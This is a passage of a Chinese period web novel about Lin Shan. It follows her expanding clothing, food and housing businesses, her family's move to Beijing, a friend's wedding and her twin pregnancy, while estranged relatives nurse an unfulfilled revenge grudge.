林爱军就是不吭气，明显还是一副要报仇的架势，逼得刘淑芬跪下来求他，这一幕刚好被送东西回家的老大林爱民给看见了。 他得知缘由后，坐在那儿半天没吭声，抽了两根烟才对林爱军说：“踏踏实实回南方做几年生意，娶个媳妇儿才是正经事。到时候兰兰出来，咱也能让她过点儿好日子。你现在去找人家报仇，成或者不成，都得吃枪子儿。再把妈也给搞没，那咱家还剩什么？” 林爱军压根儿不搭理林爱民，这个从父亲出事开始就跟他们划清界限的狗东西，有什么资格来教育他。 林爱民又怎么会不知道弟弟心里怎么想的，“我知道你们怨我，但是我不能不顾我儿子闺女和媳妇儿。以前林老二家啥也不是，你们都能进去，现在你要是真动了人家，就是全安河的敌人！知不知道多少人指着她们吃饭？！” 林爱民叹气：“我知道你恨，但是你想过自己都干得是些什么事儿吗？带癞子闯小姑娘的门，找骗子坏人家的生意，爹不仅找流氓绑架人家娘仨，还预备把人都糟蹋了再卖到山沟里去！兰兰也是，书都白读了！到了粤城不好好过，非要再招惹人家！你想做买卖不能自己做吗？为啥非要抄袭人家的一副？！做那些假冒伪劣的东西？！” 刘淑芬呜呜哭，林爱军气得脸红脖子粗，“你懂个屁！” “我是不懂，我是胆小怕事，但是我知道没有金刚钻就别揽瓷器活！干坏事又干不明白，最后还把全家人都搭进去！你懂，你跟爸都比我懂！” 林爱民说完站起来就走，骑上自行车直接去了公安局。他把林爱军有可能对林珊一家动手的事儿说了出来，还请公安同志保护好林老二一家人。 他不想自己现在的稳定生活受到影响，二来也是真得害怕闹到最后家破人亡。 公安同志得到消息后那是相当重视，立刻就派人跟踪起林爱军的行踪，并迅速通知林珊一家人。 林珊本来就知道有些人是见了棺材都不掉泪的主儿，心里一直对林兰一家有所防范，再加上现在有公安同志一直在监视林爱军，所以她日常的工作和生活并没有受到什么大的影响。 赵桂花更多的是气愤，当下就想找林爱军拼命去，自己不做人还想着要报复好人！真不是个东西！跟他爹一个德行！ 贺正岩知道这个事儿后，即使林珊回了京，他还是不放心，又让杨国福再安排了一个人，两个保镖天天寸步不离地保护她。 林珊其实比起自己的安危，更担心在安河生活的家人，虽然知道林爱军最恨自己，可自己的行踪毕竟不好掌握，身边也总有人，所以他很容易会在够不着主要目标的时候，选择次要目标。 尽管公安的人已经监视起了林爱军，王军时刻都能掌握他的动向，但是林珊还是安排了自家公司的安保，时刻保护赵桂花、林红和小昊昊，同时密切关注林爱军的行踪。不管他在安河，还是以后去别的地方。 做生意的人，即使总想着和气生财，也难免会得罪人。毕竟同行间的竞争是残酷的，很多人都秉持着“你好了，我就不好了”的思想，所以不仅林珊一家，包括公司的管理层对这些东西，其实都是有心理准备的。 安排好一切能做的安全保障后，所有人的生活照旧。 林爱军那边不但被人监视着，就连他老妈也天天看着他，就怕他出去干傻事，搞得林爱军去哪儿都不方便，别说报仇了，连人身自由都没了，还哪有功夫去计划别的。 总之公安和林珊的人监视林爱军到快要过农历新年，也没见他有什么行动。 这个春节是林珊婚后的第一个春节，去年大家就约好了今年所有人在京市过。 安河公司发钱的事儿交给赵福，赵桂花年二十七就收拾好大包小包跟林珊回京了。林红要在婆家过年，初四等大伯二伯一家回去之后，她会跟王军带着孩子和王大娘过去京市热闹热闹。 贺正岩为了让所有人都住的舒服，直接把年夜饭定在了姜老爷子留下的四合院里。这个四合院之前好好整修过，不仅有暖气，而且还是这个年代不常见的地暖。不仅暖和，整个屋子都特别美观。 赵桂花赞不绝口，还偷偷问姜春荣：“姐，你家以前是大地主吧？” 这一问可把姜春荣给问乐了，“算是吧。” 赵桂花一脸我就说吧，不是地主不可能有这么大的房子，“那咱可得低调点儿，别被人说闲话。” “好。”姜春荣非常配合。 林珊跟贺正岩在一旁都听笑了，四人聚在厨房做着年夜饭，开心得你一句我一句。八菜一汤的老规矩，配上喜气洋洋的春晚，不时再喝口小酒。除夕夜还真是一年到头最放松的时候。 贺正岩今年买的炮也不少，院子地方大，放得烟花也比在安河的时候大多了。隔壁还传来小孩儿们的惊叹声，那种天真无忧的快乐瞬间感染了所有人。 初一赵桂花跟姜春荣在家睡懒觉，贺正岩跟林珊要去贺振华那儿拜年吃团圆饭。 贺启明没回来过年，家里只有贺正岩跟张秀英。林珊对张秀英其实还是很佩服的，甭管心里怎么样，人家在面儿上的礼数，可挑不出一点毛病。 红包准备得厚厚的，饭菜也都特别下功夫，整顿饭都笑脸迎人，任谁看了不说这是全国最好的后妈。 贺振华跟小辈们之间的聊天，基本都是谈工作。问问情况，点评两句，鼓励两句，基本就完事儿了。他不知道从哪儿知道了林兰坐牢，她哥要对林珊家不利的事情，一直在饭桌上叮嘱她要小心。 林珊乖乖地表示自己知道了，一定会多多防范的。 张秀英在一旁听得那叫一个心里复杂，一方面很开心林兰坐牢，另一方面只要想起儿子跟自己曾经被骗得那么惨，就又觉得倒霉和丢人。要不是那狐狸精，她跟儿子的处境至于是现在这个样子吗！才三年！真是太便宜她了！ 不过话说回来了，最好林兰跟她哥都能再疯点儿，直接干出个要人命的大案子！这样他们报了仇，挨了枪子，她自己也不用在这儿做样子伺候姜春荣的儿子和儿媳妇了！ 第175章 第175章 职工福利房 初四林红一家过来后, 四合院儿就更热闹了。 大家吃吃喝喝，逗逗小昊昊，剩下的时间不是玩儿麻将, 就是出去逛庙会。 小昊昊开心坏了，看见什么都稀罕, 人山人海的也不害怕。赵桂花也特别高兴，看见什么都想买, 遇见好看的景儿还非喊上大家一起拍照。 这个年过得十分开心，小昊昊还跟四合院隔壁的一个小娃娃交上了朋友, 回去的时候一直问爸爸妈妈什么时候再来。 王军只能笑笑说很快。 其实可能真快了, 他调到京市的事儿目前手续已经提交的差不多了，关系也都找全了, 其中一位悄悄透露过消息给他, 说最快六月份就能有准信儿, 估摸问题应该不大。 不过因为目前还存在很多变数，他想等稳稳再说。 开年后, 林珊又是忙得不可开交。先是给京市的公司布置完新一年的任务, 跟着回安河查看了一下房子的建设情况, 另外食品公司今年要开发新品，所以需要她去把持一下方向。 辣椒酱和下饭菜已经打开了很大的销路，尤其是下饭菜，在有些省市的销量比辣椒酱还要高。林珊决定再出一款新口味的下饭菜，咸菜种类这么多, 配上自家的独门秘方, 不愁没有销路。 另外在包装上面除了玻璃瓶装，她还准备上一些塑料袋的包装。塑料袋只装下饭菜，做成小一点儿的包装, 这样方便客人出门携带。 安河的服装公司方面，今年“红珊”计划全国再开设五家店，男装“正朔”也要开设第一家直营店，这些需要很多前期的准备工作，好在三地的公司目前已经配合得比较默契了，基本不需要林珊操太多的心。 开了好几天会，把安河所有的任务布置完后，林珊返回京市。粤城那边的男装刚好寄了过来，她简单看过一遍，确认款式和做工都准确无误，晚上回去的时候，直接把衣服带给贺正岩试穿。 贺正岩已经习惯被她当成模特摆弄了，让穿什么就穿什么，让怎么穿就怎么穿。 林珊虽然是为了工作，但是也不否认自己很喜欢帮贺正岩搭配衣服。 西服要做好可不简单，从面料款式到剪裁打板缝纫，就没有一项工作是轻松的。厂里做这批样衣之前，林珊把贺正岩的尺寸给了那边，这样寄过来的衣服也就不用只当样衣了，还能给贺正岩平时穿。 因为完全是按照他的尺寸量身定做的，所以效果就不用说了。比后世那些瘦弱和另类的奢侈品牌男模好看一千倍，林珊可没有带什么老婆滤镜，纯粹从国人审美的角度来看，就是身形完美，气质出众，容貌英俊，怎么看怎么好。 贺正岩见她一直在笑，忍不住把人搂进怀里问：“好了吗？” “还有最后一套。”林珊笑眯眯地说，“每一套你穿上都特别好看，我都不知道该选哪一款做主打了。你喜欢哪套？” 贺正岩对衣服没研究，“都挺好看的。” 林珊嗔他一眼，“衣服穿上舒服吗？” “舒服。”料子舒服，做得也舒服，虽然是合身儿的款式，但穿上伸胳膊伸腿都不碍事。 “那就好。”林珊很满意，笑着给他换上最后一套，开始挑选哪一套最出彩。 因为男装也是要拍广告，所以选出主打款很重要，男模更得好好找，总之事情很多，需要大家慢慢商讨着做。 其实衣服的款式和质量林珊倒不是多担心的，毕竟团队已经很有经验了，而且送过来的样衣也很能说明问题，她现在思考更多的是直营店应该怎么做。 除了延续“红珊”的客户体系和优质服务外，她还想再加上一个免费裁剪的服务。西服不合身的话，效果就会大打折扣。等以后顾客越来越稳定，好裁缝越招越多之后，私人订制就可以搞起来了。 其实在这个工业化水平不高的年代，大家普遍觉得做的衣服，不如买的衣服。毕竟满大街的裁缝铺子都能给人量身做衣服。 不过虽然现在老百姓这么觉得，以后随着时代的发展，想法肯定会变。而且西服这个品类再往上发展，没有私人定制是不行的。 只要保证能私人定制出超高水准的工艺，就不愁没有客户买单。 次日，林珊把自己对主打款的想法说了一下，就留给两边的团队进行电话讨论。她自己跟杨艳那边商讨了一下“正朔”门店的标准制定。 不同于“红珊”优雅柔和的色调，“正朔”的门店林珊打算用深色调的装修风格，质感要比“红珊”厚重和严肃一些，因为色调暗，照明方面就需要特别的设计一下。 这个时期还没有什么专业的装修公司，就算找到那个一两个，设计出来的东西也不能看，还不如自己动手省劲儿。 闫刚前一阵已经给“正朔”找了好店铺，位置那是相当可以，离东城的“红珊”不远，面积宽敞，人流量也不小，最难得的是周围不嘈杂，非常适合做“正朔”的第一家店。 杨艳跟钱超下礼拜就要过来正式开干，在这之前门店的设计方案必须落实下来。 贺正岩见林珊夜里也经常埋头勾勾画画的，笑道：“你这才华完全可以做设计师了。” 林珊摇头：“设计师太累了。” 贺正岩替她捏了捏背，“既然累咱就要劳逸结合，身体累垮了可不行。” 林珊笑了，放下笔转过身来问他：“还说我呢，你自己是不是也要注意一点啊，贺首长？”最近他经常跑部队，忙得不可开交，在家的时间比她少多了。 “好，我多注意。”贺正岩虚心受教，低头亲了她一口。 “正朔”男装的主打款最终一共定了三套西服，一套是深蓝色的经典剪裁正装风格，一套是条纹图案的双排扣的西服，也还有一套是带马甲的白色三件式西服。 其实这三款西服，常穿的那几个颜色都会做，只是拍广告和硬照的时候，主打这三套。 模特面试了一批又一批后，最终选择了一个长相成熟的小伙子刘飞。这人私下看长得不是很出彩，但极其上相，照片拍出来也非常有质感。 有了模特，林珊还请到了现在最受大家喜爱的男演员陈国强当代言人。 陈国强老师电影电视剧都演过很多，奖都拿到手软了，最关键的是气质出众，正气凛然，是这个时期很多男女同胞都欣赏的好演员。 而且收费不贵，艺德还非常好。 类似于“红珊”胡敏一天换了三套衣服的广告，“正朔”的广告，也分为三个场景。不同的氛围，不同的装扮，尽显男性的成熟干练和高雅时尚。 这次整个团队再次远赴粤城，进行了为期一周的拍摄。陈国强老师和刘飞都非常出色地完成了各自的拍摄任务。刘灿荣一边看镜头，一边赞叹：“这衣服真好看！你们一定要快点儿来粤城开店啊！” 林珊笑着保证道：“第二家店就定在粤城，刘经理要是赏脸光顾的话，直接就是我们的VIP客户。” 刘灿荣已经知道什么是VIP客户了，乐呵呵说以后他的衣服都在“正朔”买！ 粤城的工作结束后，林珊就带着团队马不停蹄地赶回了京市，这边的装修工作正在进行中，人员的招生培训也要同步展开，工作非常繁忙。 再加上安河的“康馨花园”也到了该启动预售的阶段，所以林珊回京刚安排好下面的工作，就得回安河跟大家开会。 其实在房子还没开盖之前，公司的员工们就已经听到了风声，知道他们如果想买房子的话，林珊会提供优惠和分期付款的政策。 李娜把价格算好后给了林珊，分期付款的数额也都整理清楚了，林珊在这次的公司会上把政策公布之后，请各个主管负责通知到各自管辖范围的员工们。 户型图纸和小区环境也分印刷了图册，想买的可以报名，为期一个月确认最终名单，过时不候。 各个主管负责解答员工们的疑问，谁要想实地查看，可以报给主管提交名单，然后分批次参观工地。 一套面积90多平的三居室，总价一万五千块，而且还能分十年付清全款。主管们一看这价格，还没回去发布消息，自己就先一个个定了下来。 一周之后，“华耀”福利房的消息几乎传变了整个城西，前来公司厂子应聘的人，又排起了长队。 林珊本来是想着需要一个月让大家考虑，结果才两周时间，房子就定走了一大半。整个“康馨花园”一共108户，光员工就就定了69户，真可以说是妥妥的职工大院了。 到一个月期限到来的时候，公司的员工们更是统共定下76户，只留下32户对外销售。 由于员工们买的多，所以公司就按照以前工厂的划分方式，主管们住一片儿，一个厂的住一片儿，外销的住一片儿，这样也比较有助于小区管理。 小区内部有物业，有娱乐设施，还有小广场，看过工地的员工们激动得不能行，已经迫不及待地想要搬进来住了！ 剩下的32套，一经公开挂牌销售，跑来咨询的客户就络绎不绝。 林珊本来的打算是能卖就全卖了，卖不了，就留着给目前钱还不够的员工慢慢攒钱买。不过看这咨询的架势，恐怕是留不住了。 员工们暂时买不到也没关系，以后她还会再盖职工楼，只要好好干，林珊一定会确保每位员工都能有房住。 第176章 第176章 全家进京 林珊这边发展得越红火, 林爱军就越不是滋味。 他用列祖列宗和刘淑芬的命，发誓不会去找林珊一家麻烦后，被家里允许出远门了, 可是回到粤城一边倒腾电子配件，一边觉得心里不是滋味。 满脑子都是凭啥那死妮子连小区都能盖起了！还那么便宜地分给她公司里的人！这分明是在看不起他们一家到现在还住破平房！ 林爱军浑身都是怨气, 去监狱里看林兰的时候，发现妹子对林珊的恨比他还多, “哥，你这几年先抓紧时间挣钱, 等我出去一定会林兰好看。她害死爸不够, 还要害的你跟我都当劳改犯！这次出去我要不弄死她，我就不姓林！下辈子不做人！” “好！直接弄死她！”林爱军还就不信邪了, 不就一个丫头片子, 真动起手来她根本不是个儿。 自从这次看过林兰之后, 他就开始拼命赚钱，还时不时地去里头看看妹子, 跟她汇报一下林珊那边的消息。 林兰告诉他, 他们这三年叫蛰伏期, 等她出来之后，林珊必定会死无葬身之地！兄妹俩就是带着这样的邪恶信念，在一天天地数着日子。 林珊那头对林爱军的行动，可以说是了如指掌。林爱军来到粤城之后，就是雷家人在帮她盯着。所以他见了什么人, 干了什么事儿, 完全是透明的。 人要发疯谁都挡不住，非要一次次送人头，那当时候就彻底成全他们。 “正朔”门店在五月初正式开业, 林珊来了很多朋友捧场。男装不像女装，刚开业就会有很多人前来排队。不过这么多衣着打扮非常光鲜亮丽的男女同志们在店里逛来逛去，同样吸引了大批群众围观和进来逛逛。 “正朔”的广告今天晚上才要正式投放，今后一个月的时间里，不管是电视还是报纸杂志，铺天盖地得都会是“正朔”的消息。 林珊对自家衣服和广告的信心都非常足，相信播出之后，一定会有很多对穿衣有追求的男士慕名而来。 果然，随着陈国强老师的精彩演绎在电视上播出，“正朔”这个男装品牌，正式进入了大众的视野。看见里面的西装那么好看，那么气派，大家很自然地就想去了解一下怎么回事儿。 恰好报纸跟杂志的陆续跟上，为感兴趣的人解答了种种关于“正朔”的问题。再加上林珊在杂志的通稿上蹭了一下“红珊”的品牌效应，大家很快也就知道“正朔”跟红遍全国的“红珊”是一个公司的。 广告播出后第二天，就有京市的顾客慕名前来，之后更是每天都在暴风式的增长。不到一个月的时间，“正朔”在京市男装圈儿彻底火热了起来。 只要在“正朔”消费过的顾客，就没有不称赞的。不管是衣服的款式和质量，还是各项高端服务，都让人无比惊叹。以前买衣服是遭罪，现在这可是享受！ 火速出圈的“正朔”，很快成为了很多有钱男士买衣服的首选。穿上“正朔”的衣服，哪怕只是一件衬衫，那也是身份的象征。 林珊让贺正岩悄悄拿到贺振华的尺寸后，给公爹做了几件衬衫和西裤，有长袖也有短袖的，知道他艰苦朴素不爱穿西装，所以就没有做全套。 小两口一块儿给他送过去之后，贺振华瞬间高兴坏了，当场就穿上试了起来，一边照镜子，一边忍不住感慨：“这料子就是不一样啊！又舒服又板正的，怎么做到的？” “这面料特别处理过，再加上剪裁厉害，所以穿着舒服，我以后再多给您做几件。”林珊笑着说。 贺振华赶紧摆手，“够了够了，这些已经够我穿好几年了。”他笑着说完，美滋滋地上下看看，心里那滋味真是形容不出来，这种开心和快乐是别的东西都不能比的。 儿子娶了媳妇之后，跟他的关系明显更亲密了，连来看他的次数的都多了。这里头肯定都是儿媳妇的功劳！现在还穿着孩子悄悄定做给他的衣服，心里能不美吗？ 林珊跟贺正岩当然也看出贺振华很开心了，能让长辈快乐，他俩自然也高兴。所以贺振华留他们吃晚饭，两人也痛快地应了。 只是他们一家三口开心，却苦了在一边强颜欢笑的张秀英。不过人的生活都是自己选的，别人也没有义务去体贴她。 食品厂下饭菜的新口味，在五月底的时候完成了所有的工作。前期的样品林珊早分给大家都试吃过了，不但口味绝佳，就连榨菜的口感都更加脆爽。 这次林珊仍然做了新的电视广告，除了宣传新口味，更重要的是宣传新包装。刘灿荣还开玩笑地说，他公司光靠林珊给的生意就能活着了。 下饭菜新广告带来的效应非常大，不过食品厂经验够、产能也高，搞定这些订单和配货还是不在话下的。赵福不在，杜平把工作也主持的相当出色。 深城的“荣发”那边，在办公楼开工之后又拍了一块儿地，这次准备继续盖高层豪华民宅。另外由于“荣发”的运作模式已经成熟，股东们一致决定民宅项目抵达预售阶段后，公司直接开赴粤城战场。 至于粤城那边的规划，主要还是高端市场，“荣发”的第一个别墅区，即将在那里诞生。 林珊一直忙到六月中旬，才算稍微闲下来一点，正打算跟贺正岩回安河看看，林红那边就传来了好消息，王军的调动手续终于批了，直调京市海甸公安局！ 这么大的好消息，他们当然要回去庆祝一下了。 两人连夜驱车赶了回去，跟林红王军和赵桂花在家里整了一桌菜，喝起了小酒。 王军开心地举着酒杯感谢贺正岩：“妹夫、兄弟，我知道这里头有你的功劳，不然我不可能这么快就调过去的！咱啥也不说了，都在酒里！” 说罢，不等贺正岩回话，他就直接一口把酒干了。 他一干，贺正岩也笑着干了。 林珊在一旁都替他们辣得慌，“快吃口菜。” 赵桂花乐得哈哈笑，突然想到个事儿，“诶，这是不是等于我俩闺女都嫁到京市了？！哎呀呀，你看看，你看看，咱出息不出息？！” 姐妹俩跟女婿们都笑了，小昊昊见大人们开心，他也赶紧放下吃的，凑热闹地拍起小手来。 无论在什么年代搬家都不是小事，更何况还是跨省市的搬。王军计划先自己过去，把工作和生活各方面都安排好后，再让老婆孩子和老娘搬。 林珊也需要重新安排一下林红在安河的工作，赵桂花肯定会跟着走，不可能留她一个人在安河。不过这边虽然一下缺了两个人，但由于前期就已经把财务部的人都招满了，再加上赵福和李娜在，倒也不没什么不行。 公司每年都会审账，财务制度也定得很严格，不怕出什么乱子。而且林珊本来就规划着，要慢慢把公司的主要业务集中到京市，最终安河这边可能只会剩下食品公司和厂子。 时代在发展，人在进步，选择最适的路子是至关重要的。 安河的“康馨花园”十月底会竣工，目前项目进展得相当顺利，有了粤城那边工程师傅的指导，干起活来可谓事半功倍。赵福也慢慢找到了门路，发现这不管是盖房子还是做吃的，都得踏踏实实地把控好每一个环节，做好每一件事。 一个是入口的东西，一个是老百姓一辈子的家，责任都是相当重的。 所有人忙碌一整个夏天，九月底的时候，林红带着儿子和婆婆正式跟王军在京汇合。 赵桂花住进了林珊分局家属院的房子，这边离林红和林珊住的地方都很近。这样她想看哪个闺女就去找哪个闺女，平时没事儿还能跟姜春荣一块儿出去锻炼一下身体。 全家都对新生活充满了期待，只有小昊昊意识到自己以前的小同伴都不在京市，生生苦闷了好几天。林红哄了他半天，告诉他上幼儿园就能有新朋友了。 对新朋友的期待，冲淡了一点昊昊内心的忧伤，不过在公司见到小姨后，他还是好生撒了 一顿娇，吃了好几个巧克力才恢复笑容。 林红无奈地摇头，林珊乐了，“偶尔吃一次没事儿的，注意刷牙就行了。” “你啊，实在是太宠他了。” 林珊笑了，说起别的事儿来，“下个月参加完阿英跟郭峰的婚礼后，咱可以去深城逛逛，给你家里再添点儿东西。” “好，听你的安排。”林红京市家里的装修，都是林珊帮忙策划的，基本都是她让弄啥就弄啥，她说缺啥就买啥。 不过话说回来了，“郭峰总算是要结婚了，真不容易啊。” 林珊笑了，谁说不是呢。 本来她以为阿英还会再考验郭峰一段儿时间，可架不住郭峰用上了苦肉计。他那一阵忙着工作和追阿英，累得身体有些不舒服，病恹恹的又非要冒雨跑去给阿英买生日礼物，结果烧了好几天差点儿没命。 阿英吓坏了，这一下就心软了。再瞧他见到自己还一副欣喜地假装什么事儿都没有的傻样，她就彻底原谅郭峰了。 两人很小就认识，两家又都知根知底，一经确立关系，郭家就等不及了，天天往雷生金那儿跑。 雷生金原本就喜欢郭峰，阿英嫁给郭峰他虽然舍不得，但是孩子毕竟大了，所以被那爷俩磨久了之后，他也就点头同意了，再说郭峰确实岁数在那儿摆着呢，俩人能早点儿结婚生子也好。 跟着，在郭峰学着人家港城电影，策划了一个浪漫的求婚仪式，又是下跪又是流泪之后，阿英就哭着答应了。 不过阿英哭归哭，可没忘记对他约法三章，“婚后准则”写了好几页，郭峰背了足足两天，诚心举手发誓之后，阿英才开开心心地开始筹备婚礼。 第177章 第177章 林珊怀孕 这次林珊姐妹俩和赵桂花, 都要去参加阿英和郭峰的婚礼。 大家关系这么近，必须好好捧场，可惜贺正岩跟王军的工作都属于为人民服务的那一类, 根本没有假，两天都空不出来, 更别提做三十几个小时的火车去粤城了。 不过他俩人去不了，礼必须到, 红包必须包得厚厚的。 阿英是雷生金最宝贝的闺女，郭峰是郭有财最操心的孙子, 这场婚礼的场面可想而知。 粤城这边结婚的流程跟北方不太一样, 很多当地特有的习俗。郭家是在酒店定的宴会厅，雷家则是在自己门口的一条街上大摆宴席。 林珊也是这个时候, 才真真切切地体会到雷家到底有多少亲戚朋友, 这乌泱泱的宴席根本就看不到尾。 阿英穿着自己做的婚纱, 被郭峰抱着从雷家出了门，两人的婚车装扮得非常漂亮, 整个婚礼车队都是清一色的黑色高档轿车, 这牌面在粤城应该是独一份儿的。 林珊很为两人高兴, 看见他们这么幸福，她真的是无比欣慰。阿英是个好姑娘，郭峰也是个好小伙儿，希望俩人能长长久久，恩恩爱爱。 在粤城吃了两天喜酒, 林珊一行人就前往深城扫货了。 虽然说这次主要是给林红布置居家用品, 但是林珊跟赵桂花看见好看的、好用的，也还是没少买。 当初深城的“御景华府”给股东们分红时各分了一套房。林珊的那套跟郭有财的那套正对门，一梯两户。这次来这边, 趁着妈妈和姐姐都在，她就带两人去看了看。 赵桂花之前参观的时候还没盖好，只见了个工地，这回车子刚开到“御景华府”门口，她就彻底被震住了。 “老天爷啊！真气派！瞧瞧咱这楼！天啊，实在太漂亮了，怪不得卖那么贵都有人抢着买。诶，咱在几楼？” “九楼。”林珊指了下位置。 赵桂花顺着望过去，眼睛都开始冒金光了，等几人进了小区，她又开始对环境赞不绝口，电梯更是让她稀罕得不行，“看看，这楼里头都盖得这么高级，跟大宾馆似的，小地方跟这儿简直没法儿比啊。” 林珊笑了，电梯抵达九层，她掏出钥匙打开房门，“欢迎光临。” 说是欢迎光临，其实里头没什么可看的，空房子一个，只能看看格局和外头的景色。赵桂花精神头可太足了，从进去就开始一通规划。 林珊笑道：“好，都听您的，等这地方装好了，咱们再过来玩儿的时候都住这儿。” 林红看着外头这多么美的景色，忍不住搂着妹妹和妈妈，“姗姗以前说过的话都实现了，妈你发现了吗？” 赵桂花猛点头，她怎么会没发现呢，不然也不会天天说自己命好，“我这辈子最大的福气就是有你们俩，红子现在啥也不愁了，等珊丫头跟小贺再有个孩子，我就彻底心满意足了。” 林珊笑了，桂花女士的口头禅都快变成“我就彻底心满意足了”。 “不过话说回来，你咋还没有动静呢？”赵桂花小声问她。从去年六月到现在，这结婚也一年多了，咋还没报喜呢。 林珊实话实说：“忙，他忙我也忙。”就算都在京市，也不会恰好都能碰上排卵期，受孕的几率当然就不大了。 “那你俩也得好好计划一下啊，不然一直耽误要孩子怎么行？”赵桂花有点儿着急。 林珊笑着安抚她：“放心吧，我们俩有规划的。”她原本的计划就是等“康馨花园”竣工之后，再好好备孕，不过如果之前来了，那就是缘分到了。 这次粤城之行，除了参加婚礼和看房外，林珊还跟团队一起规划了“男装”下一步的计划。“正朔”的第二家店要开在粤城，很多事情都需要跟这边的团队沟通。 阿英只休了三天婚假，就回来上班了。林珊好奇她为什么不多歇歇，阿英笑着说：“我操心下一季的衣服，在家忙郭峰又老给我捣乱，还是回来上班好。” 林珊笑了，对她竖起大拇指。 12月底的时候，“荣发”正式上市。深城的仪式搞得无比隆重，林珊参加完上市仪式，就得马不停蹄地赶回安河，参与“康馨花园”的竣工收尾。 虽然“荣发”上市她也很开心，但是安河这儿毕竟是自己的公司的事儿，意义还是不一样的。 “华耀”的第一个地产项目全面竣工，各项指标都超额完成，验房结果更是大大超出了检测单位的标准。谁看了都要说一句“好房！”。 竣工当天，热闹非凡，这是安河的第一个私人住宅项目，在整个安河都是大事。领导们自然要来捧场，再加上安河电视台和日报这么一宣传，一时间“康馨花园”都快变成全市的旅游景点了。 赵桂花激动地又哭又笑，亲戚朋友过来捧场，街坊邻居也纷纷表达了祝贺和赞美。全公司的员工都高兴坏了，买到房的想立刻就住进去，没买到的看见房子盖得这么好，努力挣钱的干劲儿立马就更足了。 公司已经说了还会再盖楼，第一批没赶上，他们势必要努力赶上第二批！以前进国营厂上班那是光荣，现在在安河，能进“华耀”才是最厉害的，走路都带着风。 贺正岩跟姜春荣也特地过来捧场了，这是林家的大事，一定要好好庆祝一下。贺振华知道这件事之后，对林珊是表扬了又表扬，夸她是心怀大爱的企业家。 林珊实在是不敢当，“爸您把我夸得太好了，我就是想照顾好自己的员工。” 贺振华笑着感慨：“要是人人都能这么想，咱们国家就会好起来了。” “会好的，以后一定会更好。”林珊知道这两年经济形势严峻，很多国营厂都面临着倒闭的风险，经济和社会问题频发，再加上苏联正式宣布解体，世界局势动荡，国家各部门肯定都不容易。 贺振华叹了口气，喜欢这种向上看的积极精神，“好，一定都会好的。” 忙完“康馨花园”的事，公历就进入了1992年。因为今年的春节在2月4号，所以接下来的这一个月，就进入了年前高强度阶段。 光三地公司的账目审核，就是个不小的工程。林珊从今年起就要从外面请独立的团队去主导查账了，这样效率高，也能更大程度上减少贪污。 一个公司只要大战略做好，钱管好，就不会出现太大的问题。 夜里贺正岩见林珊累得趴桌上睡着了，心疼地把她抱回卧室，掖好被子一抬头，发现她眼睛睁得圆溜溜的。 “睡吧，明天再忙。”他 摸摸了她的小脸，把人搂进怀里。 林珊笑道：“我感觉我最近总觉得困，可能是因为别的原因。” “什么原因？”贺正岩一脸严肃，怕她生病。 林珊拍拍他的脸，小声在他耳朵边说：“我可能怀孕了。” 贺正岩一愣，随即猛地惊醒，“你、你是说……你！你——” “嗯，应该是的，我上个月没来例假，这个月也过日子了，可还是没来，所以……”林珊甜甜地笑着，发现贺正岩激动得眼圈都发红了，胸口更是不停地上下起伏。 “诶，不要太激动呀。” 贺正岩怎么可能不激动，一把搂紧林珊，不停地亲吻她。 “这么高兴呢？”她笑了。 “嗯！咱明天去医院看看，得个准信儿，然后再问问大夫都该注意些什么！”他兴奋地开始不停规划，脸上的笑越堆越多，直到最后再也忍不住，彻底傻笑起来。 林珊从来没见他这么开心过，心里顿时生出一些愧疚，轻抚上他的脸，小声说：“对不起老公，让你三十二岁才当爸爸。” 贺正岩一愣，随即笑道：“我认识你的时候岁数就已经不小了，再说三十二正直壮年，一点儿都不老。还是说……你觉得我岁数大了？” 林珊摇头，一边任由他吻着自己，一边撒娇：“我才没这么觉得，你身强体壮，我最清楚了。” 贺正岩被她说得心花怒放、心潮澎湃，怕做别的有影响，只好继续亲亲抱抱。 次日，林珊去医院做B超。 医生拿着片子看了半晌，笑着告诉她和贺正岩：“确实怀了，而且看着有两个孕囊，应该是双胞胎。” 双胞胎？！ 俩人瞬间都被震傻了，贺正岩激动地寻问医生：“您、您是说，我爱人她可能怀的是双胞胎？” “是，目前看着是，不过还是等下个月再来确定一下比较稳妥。先恭喜两位了。” “谢谢，谢谢刘大夫！”贺正岩高兴地发懵，要不是医生在，他肯定一把搂住林珊狂亲她。 林珊被他的眼神逗笑了，一边看着他无比认真地听医生说着注意事项，一边消化着自己可能怀了双胞胎的事。她悄悄摸了摸肚子，难以想象这地方以后要住下两个孩子。 等两人出了医院，上了车，她仍然很没有真实感，人还是发懵。贺正岩看出了她的异样，把人搂进怀里，轻抚着她的头发，“是不是有点儿突然？ ” “嗯。” 贺正岩亲了亲她，“我下午开始找保姆，军区医院哪个大夫好我也知道，我先把准备工作都做足了，其他的咱再慢慢儿适应，好不好？” “好。”林珊回抱着他，感觉心里踏实了一些。怀孕是好事，怀双胞胎也是好事，她就是有些懵而已。 贺正岩见她露出笑脸，稍微放心一点儿，替她掖好衣服领子，一边发动车子，一边问：“饿不饿？想吃点儿什么？” 林珊摇头：“我不饿。”还给了他一个哪儿那么容易就饿了的眼神。 贺正岩笑了，“那爸妈那边儿先等等再说？” “好，等再稳定一点吧。” 反正也快三个月了，等下个月检查完再告诉大家也不迟。 第178章 第178章 凑一个好字 林珊怀上双胞胎的事情, 终于在农历年前的B超中彻底确定了。 全家都为这个消息感到开心，赵桂花是既兴奋，又怪林珊不早说, 完了还整天催她回家养胎。 林珊很是无语：“我在哪儿都是坐着，在公司又冷不着, 来去又有车。再说了，人家大夫说我的情况很好, 不需要特别担心的。” 赵桂花还是很担心，她知道怀双胞胎有多辛苦, 所以对姜春荣说：“姐, 你去管管你儿媳妇吧。” 姜春荣笑了，知道她很紧张, 于是好好安慰了赵桂花一通, 告诉她只要按照医生的要求来, 就不会出问题，“我两个侄子就是双胞胎, 我嫂子生得很顺利, 不比咱一胎的复杂。” “这样啊。”赵桂花听了这个, 稍微放宽了些心，又从贺正岩那儿知道他把一切都准备好了，这才觉得心着了些地。 贺振华得到消息之后，开心得好几天都合不拢嘴，有时候正吃着饭都能笑出来, 气得张秀英牙都要碎了, 好几天都不想跟他坐一个桌吃饭，生怕自己一个忍不住骂出什么恶毒的话来。 因为怀了孕，林珊这个年就成了保护动物, 什么活儿都不让干，只能坐着看。 林红一家因为要回安河，所以年夜饭又是四个人一起吃的。赵桂花跟贺正岩是主厨，姜春荣帮厨，林珊负责摆摆碗筷。 赵桂花今年的“新年致辞”格外丰富，总结了一下今年家里发生的事儿，感谢了一圈各路神仙，然后就开始表达自己对林珊怀孕的欣喜和祝福。 